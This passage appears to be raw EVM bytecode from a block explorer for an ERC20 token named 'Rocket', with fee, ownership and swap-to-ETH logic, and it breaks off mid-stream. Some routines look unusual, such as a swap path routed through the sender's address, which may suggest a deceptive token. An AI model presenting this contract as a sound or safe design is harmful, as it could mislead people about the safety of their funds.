040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610980906128fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610a569061287c565b80601f0160208091040260200160405190810160405280929190818152602001828054610a829061287c565b8015610acf5780601f10610aa457610100808354040283529160200191610acf565b820191906000526020600020905b815481529060010190602001808311610ab257829003601f168201915b5050505050905090565b6000600c54905090565b6000610ba6610af0611474565b84610ba1856040518060600160405280602581526020016131f86025913960066000610b1a611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b61147c565b6001905092915050565b6000610bc4610bbd611474565b8484611647565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610bfb611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7f906128fa565b60405180910390fd5b6001601060186101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550436011819055506001601060156101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de5919061292f565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e6957600080fd5b505afa158015610e7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea1919061292f565b6040518363ffffffff1660e01b8152600401610ebe92919061295c565b60206040518083038186803b158015610ed657600080fd5b505afa158015610eea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0e919061292f565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611019578073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fc1929190612985565b602060405180830381600087803b158015610fdb57600080fd5b505af1158015610fef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101391906129da565b506111e6565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561108157600080fd5b505afa158015611095573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b9919061292f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561113d57600080fd5b505afa158015611151573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611175919061292f565b6040518363ffffffff1660e01b815260040161119292919061295c565b602060405180830381600087803b1580156111ac57600080fd5b505af11580156111c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e4919061292f565b505b81600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112ba611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e906128fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae90612a79565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390612b0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155390612b9d565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161163a91906126e4565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90612c2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90612cc1565b60405180910390fd5b6000821161176b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176290612d53565b60405180910390fd5b601060149054906101000a900460ff16156117925761178b848484611bda565b9050611b11565b600061179d30610882565b9050601060149054906101000a900460ff161580156118065750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561181e5750601060159054906101000a900460ff165b1561188957601060169054906101000a900460ff161561183e57600c5490505b84600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061188881611dad565b5b611912836040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806119f85750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611a0c57611a07868686611e2b565b611a0e565b835b9050611a6281600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b0291906126e4565b60405180910390a36001925050505b9392505050565b6000838311158290611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5791906125a4565b60405180910390fd5b5060008385611b6f9190612da2565b9050809150509392505050565b6000808284611b8b9190612dd6565b905083811015611bd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bc790612e78565b60405180910390fd5b8091505092915050565b6000611c65826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cfa82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d9a91906126e4565b60405180910390a3600190509392505050565b6001601060146101000a81548160ff021916908315150217905550611dd181612052565b60004790506000811115611e0c57611e0b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261234e565b5b506000601060146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611eb357611eac6064611e9e6009548661239990919063ffffffff16565b61241490919063ffffffff16565b9050611f31565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f3057611f2d6064611f1f600a548661239990919063ffffffff16565b61241490919063ffffffff16565b90505b5b600081111561203557611f8c81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161202c91906126e4565b60405180910390a35b612048818461245e90919063ffffffff16565b9150509392505050565b6000600367ffffffffffffffff81111561206f5761206e612e98565b5b60405190808252806020026020018201604052801561209d5781602001602082028036833780820191505090505b50905030816000815181106120b5576120b4612ec7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061212657612125612ec7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121c857600080fd5b505afa1580156121dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612200919061292f565b8160028151811061221457612213612ec7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061227b30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461147c565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122df959493929190612ff9565b600060405180830381600087803b1580156122f957600080fd5b505af115801561230d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051612342929190613053565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612394573d6000803e3d6000fd5b505050565b6000808314156123ac576000905061240e565b600082846123ba9190613083565b90508284826123c9919061310c565b14612409576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612400906131af565b60405180910390fd5b809150505b92915050565b600061245683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124a8565b905092915050565b60006124a083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b18565b905092915050565b600080831182906124ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e691906125a4565b60405180910390fd5b50600083856124fe919061310c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561254557808201518184015260208101905061252a565b83811115612554576000848401525b50505050565b6000601f19601f8301169050919050565b60006125768261250b565b6125808185612516565b9350612590818560208601612527565b6125998161255a565b840191505092915050565b600060208201905081810360008301526125be818461256b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006125f6826125cb565b9050919050565b612606816125eb565b811461261157600080fd5b50565b600081359050612623816125fd565b92915050565b6000819050919050565b61263c81612629565b811461264757600080fd5b50565b60008135905061265981612633565b92915050565b60008060408385031215612676576126756125c6565b5b600061268485828601612614565b92505060206126958582860161264a565b9150509250929050565b60008115159050919050565b6126b48161269f565b82525050565b60006020820190506126cf60008301846126ab565b92915050565b6126de81612629565b82525050565b60006020820190506126f960008301846126d5565b92915050565b600080600060608486031215612718576127176125c6565b5b600061272686828701612614565b935050602061273786828701612614565b92505060406127488682870161264a565b9150509250925092565b61275b816125eb565b82525050565b60006020820190506127766000830184612752565b92915050565b600060ff82169050919050565b6127928161277c565b82525050565b60006020820190506127ad6000830184612789565b92915050565b6000602082840312156127c9576127c86125c6565b5b60006127d78482850161264a565b91505092915050565b6000602082840312156127f6576127f56125c6565b5b600061280484828501612614565b91505092915050565b60008060408385031215612824576128236125c6565b5b600061283285828601612614565b925050602061284385828601612614565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061289457607f821691505b602082108114156128a8576128a761284d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006128e4602083612516565b91506128ef826128ae565b602082019050919050565b60006020820190508181036000830152612913816128d7565b9050919050565b600081519050612929816125fd565b92915050565b600060208284031215612945576129446125c6565b5b60006129538482850161291a565b91505092915050565b60006040820190506129716000830185612752565b61297e6020830184612752565b9392505050565b600060408201905061299a6000830185612752565b6129a760208301846126d5565b9392505050565b6129b78161269f565b81146129c257600080fd5b50565b6000815190506129d4816129ae565b92915050565b6000602082840312156129f0576129ef6125c6565b5b60006129fe848285016129c5565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612a63602683612516565b9150612a6e82612a07565b604082019050919050565b60006020820190508181036000830152612a9281612a56565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612af5602483612516565b9150612b0082612a99565b604082019050919050565b60006020820190508181036000830152612b2481612ae8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b87602283612516565b9150612b9282612b2b565b604082019050919050565b60006020820190508181036000830152612bb681612b7a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c19602583612516565b9150612c2482612bbd565b604082019050919050565b60006020820190508181036000830152612c4881612c0c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612cab602383612516565b9150612cb682612c4f565b604082019050919050565b60006020820190508181036000830152612cda81612c9e565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d3d602983612516565b9150612d4882612ce1565b604082019050919050565b60006020820190508181036000830152612d6c81612d30565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612dad82612629565b9150612db883612629565b925082821015612dcb57612dca612d73565b5b828203905092915050565b6000612de182612629565b9150612dec83612629565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e2157612e20612d73565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612e62601b83612516565b9150612e6d82612e2c565b602082019050919050565b60006020820190508181036000830152612e9181612e55565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b6000612f25612f20612f1b84612ef6565b612f00565b612629565b9050919050565b612f3581612f0a565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612f70816125eb565b82525050565b6000612f828383612f67565b60208301905092915050565b6000602082019050919050565b6000612fa682612f3b565b612fb08185612f46565b9350612fbb83612f57565b8060005b83811015612fec578151612fd38882612f76565b9750612fde83612f8e565b925050600181019050612fbf565b5085935050505092915050565b600060a08201905061300e60008301886126d5565b61301b6020830187612f2c565b818103604083015261302d8186612f9b565b905061303c6060830185612752565b61304960808301846126d5565b9695505050505050565b600060408201905061306860008301856126d5565b818103602083015261307a8184612f9b565b90509392505050565b600061308e82612629565b915061309983612629565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156130d2576130d1612d73565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061311782612629565b915061312283612629565b925082613132576131316130dd565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613199602183612516565b91506131a48261313d565b604082019050919050565b600060208201905081810360008301526131c88161318c565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122050bf3ae21824e7ee33f92c54bea596cc46b3545711751bb1d7adba7e72c149de64736f6c63430008090033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000011e1a3000000000000000000000000000000000000000000000000000000000000000006526f636b657400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006526f636b65740000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610403578063a9059cbb14610440578063b2bdfa7b1461047d578063ca72a4e7146104a8578063dd62ed3e146104d1578063f2fde38b1461050e57610135565b806370a082311461032e5780638da5cb5b1461036b578063914eb66a1461039657806395d89b41146103ad578063a073d37f146103d857610135565b8063313ce567116100f2578063313ce5671461023557806339509351146102605780633b97084a1461029d5780633ecad271146102c6578063557ed1ba1461030357610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd57806327c8f8351461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610537565b60405161015c91906125a4565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061265f565b6105c9565b60405161019991906126ba565b60405180910390f35b3480156101ae57600080fd5b506101b76105e7565b6040516101c491906126e4565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef91906126ff565b6105f1565b60405161020191906126ba565b60405180910390f35b34801561021657600080fd5b5061021f6106cb565b60405161022c9190612761565b60405180910390f35b34801561024157600080fd5b5061024a6106f1565b6040516102579190612798565b60405180910390f35b34801561026c57600080fd5b506102876004803603810190610282919061265f565b610708565b60405161029491906126ba565b60405180910390f35b3480156102a957600080fd5b506102c460048036038101906102bf91906127b3565b6107bb565b005b3480156102d257600080fd5b506102ed60048036038101906102e891906127e0565b61085a565b6040516102fa91906126ba565b60405180910390f35b34801561030f57600080fd5b5061031861087a565b60405161032591906126e4565b60405180910390f35b34801561033a57600080fd5b50610355600480360381019061035091906127e0565b610882565b60405161036291906126e4565b60405180910390f35b34801561037757600080fd5b506103806108cb565b60405161038d9190612761565b60405180910390f35b3480156103a257600080fd5b506103ab6108f4565b005b3480156103b957600080fd5b506103c2610a47565b6040516103cf91906125a4565b60405180910390f35b3480156103e457600080fd5b506103ed610ad9565b6040516103fa91906126e4565b60405180910390f35b34801561040f57600080fd5b5061042a6004803603810190610425919061265f565b610ae3565b60405161043791906126ba565b60405180910390f35b34801561044c57600080fd5b506104676004803603810190610462919061265f565b610bb0565b60405161047491906126ba565b60405180910390f35b34801561048957600080fd5b50610492610bcf565b60405161049f9190612761565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca91906127e0565b610bf3565b005b3480156104dd57600080fd5b506104f860048036038101906104f3919061280d565b61122b565b60405161050591906126e4565b60405180910390f35b34801561051a57600080fd5b50610535600480360381019061053091906127e0565b6112b2565b005b6060600180546105469061287c565b80601f01602080910402602001604051908101604052809291908181526020018280546105729061287c565b80156105bf5780601f10610594576101008083540402835291602001916105bf565b820191906000526020600020905b8154815290600101906020018083116105a257829003601f168201915b5050505050905090565b60006105dd6105d6611474565b848461147c565b6001905092915050565b6000600b54905090565b60006105fe848484611647565b506106c08461060b611474565b6106bb856040518060600160405280602881526020016131d060289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610671611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b61147c565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900460ff16905090565b60006107b1610715611474565b846107ac8560066000610726611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c90919063ffffffff16565b61147c565b6001905092915050565b6107c3611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610847906128fa565b60405180910390fd5b80600c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b600042905090565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108fc611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610989576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610980906128fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060028054610a569061287c565b80601f0160208091040260200160405190810160405280929190818152602001828054610a829061287c565b8015610acf5780601f10610aa457610100808354040283529160200191610acf565b820191906000526020600020905b815481529060010190602001808311610ab257829003601f168201915b5050505050905090565b6000600c54905090565b6000610ba6610af0611474565b84610ba1856040518060600160405280602581526020016131f86025913960066000610b1a611474565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b189092919063ffffffff16565b61147c565b6001905092915050565b6000610bc4610bbd611474565b8484611647565b506001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610bfb611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7f906128fa565b60405180910390fd5b6001601060186101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550436011819055506001601060156101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610dad57600080fd5b505afa158015610dc1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de5919061292f565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e6957600080fd5b505afa158015610e7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea1919061292f565b6040518363ffffffff1660e01b8152600401610ebe92919061295c565b60206040518083038186803b158015610ed657600080fd5b505afa158015610eea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0e919061292f565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611019578073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fc1929190612985565b602060405180830381600087803b158015610fdb57600080fd5b505af1158015610fef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101391906129da565b506111e6565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561108157600080fd5b505afa158015611095573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b9919061292f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561113d57600080fd5b505afa158015611151573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611175919061292f565b6040518363ffffffff1660e01b815260040161119292919061295c565b602060405180830381600087803b1580156111ac57600080fd5b505af11580156111c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e4919061292f565b505b81600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6112ba611474565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e906128fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae90612a79565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390612b0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155390612b9d565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161163a91906126e4565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90612c2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611728576040517f08c379a